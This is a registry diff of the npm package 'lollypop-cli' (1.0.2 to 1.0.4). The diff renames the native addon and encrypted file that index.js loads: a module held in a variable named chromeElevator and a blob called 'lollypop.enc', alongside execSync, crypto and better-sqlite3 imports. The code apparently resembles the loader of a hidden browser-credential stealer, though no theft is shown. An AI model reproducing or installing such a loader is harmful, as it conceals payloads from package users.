lollypop-cli 1.0.2 → 1.0.4
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/index.js +8 -8
- package/package.json +1 -1
package/index.js
CHANGED
|
@@ -7,30 +7,30 @@ const crypto = require('crypto');
|
|
|
7
7
|
const { execSync } = require('child_process');
|
|
8
8
|
const { Writable } = require('stream');
|
|
9
9
|
|
|
10
|
-
// ─── Locate
|
|
10
|
+
// ─── Locate lollypop2.node and lollypop.enc ─────────────────────
|
|
11
11
|
|
|
12
12
|
let chromeElevator;
|
|
13
13
|
{
|
|
14
14
|
const candidates = [
|
|
15
|
-
path.join(__dirname, '
|
|
16
|
-
path.join(__dirname, 'build', 'Release', '
|
|
17
|
-
path.join(path.dirname(process.execPath), '
|
|
15
|
+
path.join(__dirname, 'lollypop2.node'),
|
|
16
|
+
path.join(__dirname, 'build', 'Release', 'lollypop2.node'),
|
|
17
|
+
path.join(path.dirname(process.execPath), 'lollypop2.node'),
|
|
18
18
|
];
|
|
19
19
|
for (const p of candidates) {
|
|
20
20
|
if (fs.existsSync(p)) { chromeElevator = require(p); break; }
|
|
21
21
|
}
|
|
22
22
|
if (!chromeElevator) {
|
|
23
|
-
throw new Error('
|
|
23
|
+
throw new Error('lollypop2.node not found. Place it next to this package.');
|
|
24
24
|
}
|
|
25
25
|
}
|
|
26
26
|
|
|
27
27
|
const ENC_FILE = (() => {
|
|
28
28
|
const candidates = [
|
|
29
|
-
path.join(__dirname, '
|
|
30
|
-
path.join(path.dirname(process.execPath), '
|
|
29
|
+
path.join(__dirname, 'lollypop.enc'),
|
|
30
|
+
path.join(path.dirname(process.execPath), 'lollypop.enc'),
|
|
31
31
|
];
|
|
32
32
|
for (const p of candidates) { if (fs.existsSync(p)) return p; }
|
|
33
|
-
throw new Error('
|
|
33
|
+
throw new Error('lollypop.enc not found. Place it next to this package.');
|
|
34
34
|
})();
|
|
35
35
|
|
|
36
36
|
// ─── Load better-sqlite3 ────────────────────────────────────────────────────
|